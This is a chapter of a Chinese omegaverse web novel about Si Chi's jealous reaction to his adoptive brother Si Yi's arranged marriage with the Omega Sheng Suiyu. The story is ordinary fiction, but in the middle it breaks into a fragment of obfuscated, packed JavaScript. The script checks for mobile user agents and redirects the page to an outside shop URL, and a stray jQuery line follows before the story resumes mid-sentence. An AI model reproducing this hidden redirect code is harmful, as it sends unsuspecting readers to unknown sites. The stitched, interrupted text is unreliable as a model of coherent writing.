司驰总是他灰败情绪的例外,当年他吃过的苦头,跟不谙世事的司驰没有关系。 所以现在就一直耗着吗?耗到司驰对他表露喜欢的那一刻? 但现在司驰身边就已经出现了一个苏扬,今天见着的齐秉钧也不是善茬,他们比司弈更占据向司驰表白的优势。 或许司弈说出他们没有血缘关系,会让他单方面的苦恋变得简单,可那样不管司驰接不接受他的喜欢,他都会感到崩溃。 不接受是很顺理成章的,他的自我感动到此为止,但如果接受了,谁又能保证司驰的真心? 如果司驰的真心掺了一点假,那司弈情愿选择不要。 这世上只有司驰是真心待他好的,除了司驰,别人他也不要。 司弈想起那盘没有胡萝卜的手抓饭,心头的郁色短暂地一扫而空,司驰在意他,而且那个夜晚过后也没有完全推开他,甚至今早都还准许他那么“越界”地靠近。 下次是不是要脱得更干净些呢?司弈认真地思忖着。 不知不觉,司弈上了单元楼的电梯,清凉的夜风洗去他一身的燥热和疲惫,他甚至想要不要给司驰发张自己的“床照”,也不露什么,顶多就是露个肩膀胸口,顺便告诉司驰,他有好好听话地早早休息。 “叮——”电梯门打开,司弈回过神来,抬眼就看见自家门口倚着个黑色连帽衫的高大男子。 走廊里没由来地蔓延着中药的苦涩,可这楼层明明只住着他一户人家,根本没谁大半夜的熬中药喝,那就只有信息素了,司弈鼻翼翕动,辨别出这是黄连的味道,没入呼吸道没有灼烧的疼痛。 来者是一Omega,而且与他关系匪浅。 司弈没有靠近,反倒是来者觉察到他的脚步声,如梦方醒般单手揭开挡脸的帽子,于闪烁的声控灯下,露出一张轮廓硬朗的脸庞,左边的眉毛断开,眼睛泠泠如利刃,麦色的皮肤上泛着不正常的红晕。 那人并不在意信息素不正常地泛滥,反倒冲着司弈挑眉笑道:“好久不见啊,未婚夫。” 22. 你我 司驰和室友们都在同一个学院,但他和舒金盏是油画系,齐秉钧是国画系。 好在迎新讲座是分学院开,他们可以一块去礼堂,但早上八点爬起来听讲座实在太超过,司驰定了俩闹钟都没用,最后是齐秉钧把他和舒金盏先后叫起来。 昨晚寝室夜谈,他们也算浅浅地互相交了底。 司驰讲了他和齐秉钧之前的交情,即高中一块集训了大半年,但不是同一所学校的,齐秉钧来自隔壁F市,而司驰是G市本地人。 舒金盏则来自江浙一带,带来的特产也是上好的雨前龙井,他没太多透露家里的情况,但司驰从茶叶的成色可以看出,他估计也来头不小。 有过简单的破冰,仨人一块赶去礼堂听讲座,也老老实实挨着坐到最后一排,紧赶慢赶连早饭都没吃,可还是没能正点赶上讲座,好在没出什么问题,负责签到登记的学姐瞅了他们仨一眼,还是让他们顺利签到了。 “还好秉钧起得早,不然这讲座我是来不成了。”舒金盏边咬着奶黄包,边含含糊糊地说,“一个迎新讲座干嘛安排这么早?” “嘘,金盏,小声点儿。”齐秉钧连忙打住他的抱怨,生怕他们最后一排被讲台上的院长看到。 司驰则低头一口一个烧麦,把手机藏桌洞里,给司弈发消息吐槽说这讲座太不人道,他都差点起不来。 司弈说:「幸好你昨天没回来住,不然今天真赶不上。」 司驰又特意支起耳朵听了会儿,回答说:「赶不上也没关系,院长都在台上讲十分钟了,全都是废话。」 司弈发来一个哈哈笑的表情包,不知道上哪儿搜罗来的彩色花体字,看上去有些一本正经的老土,司弈平时真不跟他上同一片网。 「和室友相处得还好吗?」司弈问。 「还行,秉钧一直是老样子,心好又不大爱说话,舒金盏意外的人不错,昨晚我不知道怎么充热水卡,他还热心地教我。」司驰一五一十地回答。 「那就好,五年的大学生活算是开了个好头。」司弈欣慰地说道。 司驰忍不住调侃:「哥,你能不能说点儿稍显年轻的话,咱俩也没差多少岁啊。」 司弈认真地回答:「那还是差得多,我俩要结婚的话,你能抱两块多金砖了。」 司驰愣了一下,才想起那句俗语:“年差三,抱金砖。” 「这都什么跟什么啊!」司驰耳根又一次烧红,好像被司弈调戏了,手忙脚乱地回复道,「我要继续听讲座,不跟你说了。」 再说下去会出问题。 司弈这回发来了个小狗表情包,乖乖地冲司驰挥爪子,说着“拜拜”,仿佛从没有说过“抱金砖”这样糊涂的玩笑话。 他俩要是没发生过那档子事儿,抱不抱金砖也无所谓,但就是什么都发生过……司驰想,果然是他最近跟司弈过分亲近,没能把持好相处的尺度。 可糟糕的是,司驰很享受这样的状态,甚至还期盼着周末回去和司弈继续挤一张床上睡。 反正现在司弈也没有谈恋爱,司驰这样做并不违背道德。 旁边的齐秉钧拿出笔记本,刷刷地记下院长语录,旁边的旁边,舒金盏顶着蒲公英状的乱毛,趴在桌上睡得不省人事。 司驰也打起精神听了两句,但还是没忍住刷起手机,他又点开社交平台,看到自己最新发布的速写有了四五百的点赞。 今晚再发一张吧,苦了谁也不能苦了粉丝朋友。 司驰切换账号,例行公事地巡视“四百夫夫”的词条,在他和室友们破冰的昨晚,白承礼时隔多日后终于又发布了Q版条漫。 司驰没有立刻点进去,而是把自己快遗忘的游戏小号头像换掉,这Q版司弈初看可爱,但他想到是白承礼的作品就觉得晦气。 他还额外做了会儿心理准备,才点进白承礼的新条漫。 条漫配文:「假如……婚后日常。」 司驰一把将手机翻面拍桌洞里,惊得旁边俩室友都一哆嗦,守在后门签到登记处的学姐也斜了司驰一眼。 他赶紧两边用口型道歉,深呼吸好几次,才把手机翻面过来,快速地滑开扫了两眼。 也没什么特别的嘛,就是在白承礼编造的那个世界线里,司弈和白序礼结婚,过着你侬我侬腻死人的生活,剧情毫无逻辑可言,绘画毫无美感可言,就这底下评论都还嗷嗷叫,把这玩意儿奉为“四百”圈子里的新神作。 司驰气得牙痒痒,还好他知道司弈跟白序礼除合作伙伴外没别的关系,白序礼也不是司弈喜欢的那一款,不然今天这坎他还真就过不去了。 他等不急回宿舍拿平板画画,就打开手机上自带的绘图软件,直接动手在这狭小的屏幕上勾出司弈的轮廓。 谁不会画Q版条漫了?手机上分镜不好做,他就干脆把分镜拆成一页一页的,标上阅读的序号,食指和拇指快在屏幕上搓出火星,台上讲话的领导老师也换了一个又一个,迎新讲座结束,手机电量告竭,司驰终于勾完最后一笔,现在就只差嵌字了。 “阿驰,在捣鼓什么呢?”舒金盏蹭到齐秉钧身上,探头探脑地看向司驰,“看你忙活好几个小时了。” “没什么,”司驰淡定地把手机揣回裤兜,“去哪个食堂吃午饭?” “哪个食堂近去哪个。”舒金盏也没讨嫌地追问,只是晃晃他身侧的齐秉钧,“秉钧,你记的笔记让我看看呗。” 可怜齐秉钧没太适应他这般亲近,脸又烧得透红,晕晕地点头答应了,但又担心冷落司驰,还补充说:“阿驰,你想看也可以。” 这话说得让司驰良心有些过不去:“好啦好啦,先去吃饭,吃完饭再说。” 吃完饭司驰也在捣鼓他的小漫画,俩室友午觉睡醒后出门他都没反应,还是舒金盏特意“嗷”了一嗓子,说他俩去参加校学生会的宣讲活动,问司驰去不去。 司驰自然是婉拒,但答应了跟室友们晚上去亭南村吃饭,至于这个漫长的下午,他除了把Q版漫画的嵌字搞定,还额外画了张正比的扉页。 手腕迟钝地酸痛起来,司驰忍痛把作品排版完成,发布到社交平台后才揉着腕子,仔细地把漫画从头看到尾。 司驰这次画的是狐仙司弈,长着毛茸茸的尖耳朵和大尾巴,为表现出可爱,司驰还专门把司弈的脸画圆了些。 狐仙司弈能听到人们的心愿,但他不会一一实现;狐仙司弈喜欢吃烤得皮脆肉嫩的烧鸡,但他不能每天都吃。 如果有人能在狐仙庙里供奉一只烧鸡给他,那他就会实现这人一个愿望。 一只烧鸡换一个愿望,这非常的划算。 有人贪心不足,一天之内给司弈供奉了一百只烧鸡,他满心期待狐仙实现他一百个愿望。 可日子一天天过去,狐仙庙里的一百只烧鸡发了霉,都不见狐仙来取。 那贪心的人没有实现任何愿望,反而因为买下这么多烧鸡欠了钱,只能自己苦巴巴地还债。 狐仙司弈还是喜欢吃烧鸡,不过他不再接受狐仙庙的供奉,一只狐狸潇潇洒洒地在人间闯荡,通过自己的劳动和智慧换取美味的烧鸡。 漫画的脚本很简单,也很正派,有不少司驰听过的睡前故事的影子,还顺便讽刺了一把那些不安好心的人,司驰来回看了很满意,最后才滑到放在第一页的正比扉页:尖耳朵大尾巴的狐仙冷冷地看向屏幕外,白衣胜雪,青丝如瀑,通体没别的配饰,只左耳处缀了两枚红珊瑚色的玉环。 这毛发的质感应该再刻画得仔细些,司驰下意识咽咽唾沫,之后再多画几张狐仙司弈吧,他没别的意思,就是喜欢狐狸耳朵和尾巴。 定了定心神,司驰再次点进“四百夫夫”的词条,他上午光顾着生气,没有仔细看这词条的热度变化,照理说白承礼回归,而且还是发布了内容极丰富的条漫,CP圈子该热闹一阵,但自司氏和白氏合作的消息公布后,这圈子再没回到过上次白承礼发布舞会双人图那晚的热度。 那晚过后,圈子里最高热度的是白序礼的单人图,但也只将将破了五万赞,离十万赞都远着,更别提三四十万赞。 白家大小姐炒CP怎么不买后续的热度?娱乐圈里曝光度高的真人CP,都需要背后公司持续不断地砸钱维持热度,她炒的这CP可没娱乐圈那么大曝光度,而且还纯属拉郎配,不砸钱指望所谓的CP粉自发宣传吗? 司驰并不认为白承礼会就此罢休,他扫了一眼白承礼新作底下的词条,果然又没有“司弈”,“白序礼”这个词条倒是打在首位。 等等,司驰心念一动,点进了“白序礼”的词条。 推在前排、热度最高的是白序礼单人访谈视频,有近百万赞了,司驰点到“司弈”的词条,司弈的单人访谈视频不过几千点赞——白序礼这是终于被他妹妹送出道了? 司驰再搜索“百歌游乐园”,该官方账号发布的宣传视频,在白序礼出名前后的热度相隔天堑。 看来司弈这钱一点都不白赚,系统要给人家安装好,还得免费帮人家做软广宣传。 司驰在CP出圈时就早早提醒过司弈,但这大半个月司弈是一点有效行动都没采取,他到底要干什么?真要那么无私地帮人宣传然后再被踩一脚? 做慈善都不是这么做的啊! 司驰气了一会儿,胃都有些绞痛,没注意到外边太阳偏西,宿舍里的环境光暗了下来。 倒是舒金盏的消息跳出:「阿驰,我和秉钧听完宣讲会了,你到熊猫雕像这儿来,我们一块去吃饭。」 司驰有点蔫儿,但还是回答:「好,等我十分钟。」 没办法,毕竟中午答应好的。 再说他为司弈气坏身体,也不知道司弈会不会在意。 * 多半是不在意吧。 晚些时候,司驰在无人的楼梯间,打通司弈的电话。 他也不是一定要司弈给个处理结果,他只是想听司弈有什么考量…… 电话接通了,传来一个陌生男人的笑音:“呀,你就是小驰?找你哥哥有什么事吗?” “你是谁?”司驰顿时警惕起来。 眼下已经是晚上十点,司弈再忙也该住处休息了,这人是怎么出现并拿到司弈手机的? “你哥的……一个朋友。”那人特意卖了个关子。 司驰还没来得及追问,电话那头忽然响起一阵抢夺声,很快又响起一声关门的巨响,电话里传来司弈带喘的声音:“阿驰,没吓着吧?” “没,我又不是小孩子,早料到有天你住处会出现陌生人。”司驰冷声回答,甚至带了些嘲讽,“你前两天不才刚失恋吗?这么快又有‘新朋友’了?” 司弈赶忙解释道:“我和盛隋玉不是你想的那种关系。” 我也没有那么想知道他叫什么。 司驰嗤笑:“哦?那是什么关系?” 司弈却反问他:“他姓盛,你还没想起来他什么来头吗?” 司驰被噎了一下,脑子转了两圈,想起来:“他和盛女士是什么关系?” 盛女士,盛文瑛,是目前司氏最大的股东,司家的老东西们加起来占五成股份,司弈占两成,她独自占三成,当年也是因为她的投资,司弈才摆脱董事会的干涉,率团队成功研发出「众里」系统并投入市场。 “亲母子,长得都像一个模子里刻出来的。”司弈有些疲惫。 司驰气消了大半,但还是梗着脖子问:“那他大半夜怎么来你住处?他自己没地方去吗?” “之前一直没跟你讲过,盛女士是想让我和盛隋玉结婚,不光是为两家利益考量,还是因为我和盛隋玉的信息素契合度是百分之百。”司弈耐下性子回答,声音很轻,但每个字司驰都能听清楚,“盛隋玉是Omega,有腺体衰竭的先天病,成年后需要契合度高的Alpha终身标记,才能健康地生活下去。” “早两年盛隋玉刚成年,身体状况尚佳,我拒绝联姻,他也没有强求,但今年他的身体状况已经很不好了,只能找上门来让我帮他,不然他丧命,盛氏也从司氏撤资。” 九月份的夜晚,风其实有些凉了,不然司驰怎么感觉到自己在颤抖。 原来是要和盛家联姻啊,难怪不理会白家那些上蹿下跳的烂操作呢。 司驰把手机拿远了些,慢慢地深呼吸两次,把哭腔咽回喉咙,冷静地问道:“那你现在愿意跟他们家联姻吗?” 司弈为难地叹息:“这已经不是我愿不愿意的事了,一是人命关天,盛隋玉要真死我住处门口,我没办法对外交代,二是「众里」系统目前的研发还依赖盛氏提供的资金……” 司驰提高了声音:“我是问你,你愿意吗?!” “综合考虑下来,我没什么不愿意的,反正我喜欢的人也不喜欢我,以盛隋玉的家世和信息素契合度,我和他结婚,还说不一定谁占谁便宜。” 司弈的回答愈发冷静,司驰的心也如坠冰窖。 他还说司弈不谈恋爱他就没道德包袱,可以在不越界的情况下亲近司弈,现在好了,司弈住处的那张床他也分不到一半。 什么叫不越界情况下亲近?就是你没资格亲近他啊! 你是他什么人?他是你什么人? 你们是彼此的什么人? “阿驰?阿驰!”司弈急切的声音让司驰稍稍回了神,“你还没回答我,你对我联姻的事情支持吗?” “这个……就不需要问我了吧。”司驰讪笑,有些站不太稳,倚着墙慢慢地蹲下身子,“你的婚姻大事,我支持与否也不重要。” “如果盛隋玉和我结婚,那他也会成为你的家人,所以你的意见也很重要。”司弈总是那么有道理。 但“家人”二字刺痛了司驰的心脏,谁要和一个陌生人成为家人? “你又说生死攸关,又说公司命脉的,我不支持会不会太不懂事?”司驰苦涩地说,“而且说得像我不支持,你就能不结婚似的。” 司弈却回答说:“是,只要你不支持,我过两天就和盛隋玉去盛家,跟盛女士把话讲清楚,我不参与联姻。” 司驰一惊,下意识唤道:“哥?” “嗯,在呢。”司弈语调放轻松了些,“打电话来是要说什么呢?” 原本事情顿时不值一提,司驰别过脸看向空荡荡的楼梯:“这两天没课,我把那些不必要参加的讲座和宣讲会推了,回来住一段时间。” “你不是还要跟新朋友交际嘛。”司弈说,“不用担心我,我自己有分寸。” “哦,你有分寸,只要合适就跟别人结婚,也不管自己喜不喜欢人家。”司驰阴阳怪气,“最后假惺惺地来问我的意见,打着我的幌子去拒绝别人,而且现在盛隋玉就住在你家,我再不回去,以后你那小房子怕是没我的地方了。” “我这不是还没答应联姻吗?”司弈好脾气地顺着他话哄,“只是眼下盛隋玉还在发.情.期,我怕他出事不太好跟盛女士交代,才把他留下来住两天。” “所以你的意思是,我最近回去会打扰你们的二人世界?”司驰一听更觉不对劲,原本压下去的声音又扬了起来,“司弈,你难道不知道留下发.情.期的Omega是什么意思?” “那你要我怎样?要我赶他走,得罪他,也得罪盛家?”司弈也似乎来了气性,咄咄反问,“我都已经不打算联姻,这点面子还是要做给人家看吧!” “你可以联姻,可以结婚,我又没说反对!”司驰厉声回怼,空旷的楼道里都是回声,“我只是想去你家看看我未来‘哥夫’长啥样,这也不是多么过分的要求吧?还是说司弈,你心里有鬼?” “我心里能有什么鬼?我光棍一个,和适龄的Omega正常交往而已。”司弈冷笑,“我甚至还顾着你的‘雏鸟情结’,特地征求你的意见,你话也不好好说,光在阴阳怪气,我还能怎么办?反正都是我的错咯?” 司驰耳膜嗡嗡作响,他愣了一会儿,近乎脱力地艰难开口:“是我的错,我该有自知之明,不去打扰你们了。” “就这样吧,哥,我挂了。” 好一会儿,司驰靠坐在落灰的墙边,狼狈得像只无家可归的流浪狗,甚至哭泣都把声音咽回喉咙,似乎怕打扰到远处的主人家。 * “把你弟凶一顿就舒服了?”盛隋玉霸占了司弈家碎花的布艺沙发,仰面举着手机,看枪.战电影。 司弈被他外放的动静吵到心烦,没好气道:“谁让你拿我手机的?” “那不是你在洗澡不方便嘛。”盛隋玉对此没有半点抱歉,“我这会儿不接,之后你不是还要专门给你弟打个电话,向他介绍我的身份。” 司弈没有接话,坐到短沙发上,泄气地取下羽毛发簪,心想着等盛隋玉滚蛋,他要把客厅全部的沙发套换新。 盛隋玉却还要继续招惹他:“行了,行了,舍不得你弟难过,把实话告诉他不就得了?顶多让他心疼你一下嘛。” “我不信以盛氏的人脉,在查出你有这个要命的病时,找不到除我以外第二个合适的Alpha。”司弈捏着手上银制的簪子,忍了又忍,才没把簪子掷盛隋玉脸上,“我已经拿出我的诚意帮你了,你最好也给我一个非我不可的理由。” 盛隋玉改用单手拿手机,稍稍地撑坐起来些:“除你之外当然也有人选,大概三四个吧,但我要是跟我妈松口选择TA们,我就一定得结婚了,TA们和你还不一样,TA们挺中意我和我家的。” 司弈被这理由一哽,完全被气笑了:“你拿我当幌子,跟你妈耗着不结婚,是嫌活得太长了吗?” “医生说按我现在的身体状况,活到三十岁没问题,还有十年呢,怕什么。”盛隋玉坐起来也没个正形,他拖动着影片进度条,漫不经心地回答,“说不定那时候就发明出特效药,把我这毛病治好了呢。” “那祝你好运,我只希望之后你提出的条件能够兑现。”司弈站起身,“明天下午,我就把公司的事情都安排妥当,然后跟你走一趟。” “那些条件倒无关紧要,”盛隋玉放下手机,抬眼看向司弈,“我就是好奇,你弟听了这事儿,给了你想要的反应没?” “这跟你没关系吧。”司弈斜了他一眼,转身把自己锁进卧室里。 银簪略微锋利的边缘将他手心硌出了血印子。 司弈其实不想给司驰太大压力,从那晚的意外开始,他自诩循序渐进,没有逼迫过司驰做出违心的选择。 只是这一次司弈面对的是盛家,除了答应盛隋玉配合他完成这步险棋,竟也没有别的办法。 司弈想,要怪就怪五年前他太弱小,留了相当大的软肋在盛家,如今还要被人拿捏。 希望司驰多生气一阵吧,这段时间最好不要来找他。 当然……司弈私心里还是想让司驰说出来,说出来为什么会因为他要和别人联姻而失态。 阿驰,我多么希望你能真心爱我……只爱我。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16875686|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这样我糟糕透顶的人生里才算有几分趣味。 * 司驰哭够了,顶着红眼圈回到宿舍。 灯还没关,他的两个室友应该已经洗漱妥当,正穿着睡衣挤一张床上,看同一个手机,分享同一对有线耳机。 太好了,趁没人注意,司驰快速地取了睡衣闪进浴室,草草地冲了个澡。 他要赶紧带过糟糕的今天,准备明天一大早就去司弈公司附近的住处看看。 不让我见盛隋玉,我偏要见,他是什么见不得的贵人吗? 司驰把自己打理规整,尽量平静地走出浴室,告诉他的室友们明天他回家不在宿舍。 “那班会你还去参加么?”舒金盏问,他和司驰在一个班。 开学第一个班会自然是同班同学打照面的场合。 “我会跟学姐请假。”司驰说。 “是家里出什么事了?”齐秉钧耿直地问了出来。 “没什么大事,我后天就回来。”司驰轻巧地把话带了过去,“回来请你们吃饭。” “那看来是没什么大事。”舒金盏接茬,顺手把手机屏幕举起,“我和秉钧在看这个动画电影,要一起看吗?” 司驰感激地婉拒,他现在巴不得将被子一蒙一掀就到明天,但他望着自己支起来的天蓝色床帐,怎么都合不上眼。 外边的灯熄了,只剩下小屏幕隐隐的光亮,再过一阵,小屏幕的光亮也熄灭了,舒金盏蹑手蹑脚地爬下对面齐秉钧的床,又蹑手蹑脚爬上司驰隔壁的床。 最后宿舍只剩下平稳的呼吸声,他的两个室友都不打呼噜,只是偶尔齐秉钧会说两句听不明白的梦话。 世界进入了黑暗的睡眠,只有司驰醒着,担心打扰室友,他都没法辗转反侧。 大约四五点钟,他稍稍有了些睡意,但很浅,他刚一见到司弈的脸,就惊醒了过来。 划开手机看一眼时间,到六点了,司驰起身洗漱换衣,轻悄地离开了宿舍。 好奇怪,几乎没怎么睡的司驰一点也感觉不到困,他甚至觉得自己身体轻盈得快要飞起来,甚至坐到网约车的后排,怕自己真从车窗飞走,还老老实实地扣紧了安全带。 他和司机师傅也没话可聊,车厢里只回荡着粤语老歌的曲调,他应该在哪儿听过这歌,可惜记不太清。 “为何你的嘴里总是那一句 为何我的心不会死 明白到爱 失去一切都不对 我又为何偏偏喜欢你” 司机师傅的歌单并不循环,司驰只听到这首歌一遍,但全程脑子里只回响着那句“我又为何偏偏喜欢你”。 不是喜欢,他为什么大清早跑出来,觉没睡饭没吃,一心奔着司弈那间小房子去? 没道理啊,一般弟弟听到哥哥的姻缘喜事,不说诚心的祝福,也不会有他这么大反应。 这架势一起,不像是血脉相连的亲弟弟作派,倒像是正牌男友突袭捉.奸。 你到底想干什么呢,司驰? 司驰没让司机师傅开进小区,他自己躲在树荫后头,看时间走到八点半,而后再把鸭舌帽一戴,低头蹿进了小区。 这个点,司弈应该在公司,不在住处。 那么住处里就只会剩下盛隋玉。 司驰逆着上班的人流坐电梯上楼,一手百无聊赖地滑动着没网的手机,另一手按着衣兜里司弈亲手交给他的钥匙。 “叮”,电梯门开。 司驰站到了司弈住处门前。 他以为自己要犹豫,但反应过来时,钥匙已经插进锁孔。 是,他没立场大清早赶到这里,可这又不能判他什么罪。 门开了。 室内拉着厚厚的窗帘,阻隔了明亮了天光,但好在房屋格局不大,大门敞开便给屋内带进一道强光,直接越过玄关投到沙发的位置。 沙发上躺着一睡姿狂放的青年人,他四肢摊开到四个方向,一只脚还踩着沙发边的地毯,脑袋正对玄关,那门外的天光便最大限度地洒在他蜂蜜色的脸上。 很是锋利硬朗的一张脸,特别那一条断眉,看上去十分不好惹。 空气里阻隔喷雾的气味过于重了,勒得司驰有些喘不过气,他想这是司弈专门为眼前这睡神喷的吧。 司弈…… “我喜欢长得硬朗帅气的人。” 那天晚上司弈这么说的,单就长相来看,这位睡神很合适。 司驰拔出了钥匙,把它放在了玄关的鞋柜上,随即轻悄地退出门去,带上了门。 你是有些不识好歹了,司驰。 * 季青在他家楼下捡到司驰时,司驰正在吃第三碗云吞面。 早餐店客流如云,司驰独占一张方桌,在这云海间仿若一块礁石般岿然不动。 “我知道你胃口不错,但连吃三大碗云吞面还是有点过了。”季青坐到他对面的凳子上,还没多说什么,早餐店的阿婶就端上来一盘鸡蛋肠粉。 这是给VIP老顾客的优待。 司驰把手边的酱油瓶推给季青,这才咽下最后一口云吞,把筷子放下。 “我来找你打游戏,不吃多点儿怎么有力气。”司驰回答,胃已经饱胀得有些难受,不能再吃下去,但他为陪季青,也额外要了份肠粉。 “你不上学了吗,驰?”季青手一抖,酱油就把他的鸡蛋肠粉淹死了。 “开学第一周没课。”司驰慢慢地给自己灌了点儿茶水,把胃里的难受压下去,“再说我就今天跟你打游戏,明天回学校。” 季青看了看他脸色:“跟弈哥又吵架了?” “你就默认我出点儿什么事都跟他有关?”司驰冷笑。 “那不然呢。”季青赶紧低头扒拉两口肠粉,“认识这么多年,我还不知道你。” 司驰沉默了会儿,近乎赌气地说:“等他结婚我就清净了。” 他有新的家人,就不会再要我了。 季青却说:“那不一定,我妈跟我爸结婚快二十年,我小姨还是看不惯我爸。” “我又没说我会看不惯司弈未来伴侣。”司驰反驳,肠粉端上来了,他咽不下去,还是挑了两筷子。 季青把司驰盘子里多的肠粉匀过来:“你不用说,脸上写的全是。” “你小姨是怎么看不惯你爸的啊?”司驰犹犹豫豫地问。 “其实也还好,顶多就是不叫我爸姐夫。”季青说,“逢年过节该问候的问候,也没把我爸晾着。” 但是司驰,看起来不光像是会把未来“哥夫”晾着,而且还会在哥哥面前对“哥夫”做出一些过激举动。 “结婚真是一件伤天害理的事。”司驰几乎脱口而出,见季青停了筷子,赶忙又找补说,“我不是说季阿姨和谭叔叔,他们很好,他们就应该结婚长长久久地在一起。” “你不用解释,我当然知道你啥意思。”季青把最后两口肠粉吃完,“走吧,也别想那么多,去我家打游戏。” 司驰把两盘肠粉的钱也结了,但起身时,胃部的胀痛又放大了不少,喉间反着茶水的苦涩。 季青似乎还跟他说了些什么,他却一个字也没听进去,上楼到季青家里,直奔卫生间将自己反锁在里面,半跪在马桶前吐了个天昏地暗。 好在季青家里有他专门的牙刷和杯子,司驰漱了口飘飘乎地走出门,喉咙间除了薄荷的牙膏味,还有一阵泛辣的疼痛,胃仍然在无意识地抽搐。 茶几上,季青放好了胃药和温水。 “吃完药去睡一会儿,睡醒就好了。”季青给司驰搭了把手,让他坐到了沙发上。 “你像是什么都知道,明明我还没说。”司驰终于感觉到一些疲惫,只倚在沙发靠枕上,眼睛快睁不开。 “有些事呢,说不明白,更何况你还是个嘴硬的。”季青回答,把水杯递给司驰,“我只是奇怪我能看出来的事,弈哥怎么没看明白。” “什么意思?”司驰没有接水杯,他实在支撑不住坐,慢慢地半躺在沙发,脚还着地。 “没什么,可能是我误会了吧。”季青笑笑,“你把鞋脱了,躺好,我去给你拿毯子。” 这一觉司驰睡得很沉,完全没有做梦,醒过来看到对面电视墙上的光斑,都还恍惚地没反应过来:他今天干了些什么?怎么到季青家里来睡觉? 正念着季青,季青的声音便从侧面传来: “哟,醒了?刚刚弈哥给你打电话,我帮你接了,他就让我转告你一下,记得看手机上的留言。” “好。”司驰躺在沙发上不想起身,“我手机呢?” 季青适时地把放茶几上的手机递给他,顺口问道:“晚饭我给你点个粥,喝吗?” “都行。”司驰滑开手机锁屏,看到了司弈的消息。 没点开呢,开头就是一句“阿驰,这两天我去盛家一趟”,司驰把这条消息划走,标记为已读。 “我都不知道今天这么折腾是为啥。”司驰把手机按在胸口,看着季青家的天花板发愣。 这天花板上没有月牙状的吸顶灯。 “人有时候是会莫名其妙的。”季青说。 “嗯……”司驰眼前失焦片刻,又立马缓过神,自嘲笑道,“好像被人甩了一样。” 季青没有接话,司驰自己也没有找补。 他抬起手挡住眼睛:没错,他就是被司弈甩了。 哪怕他和司弈根本没有谈过恋爱。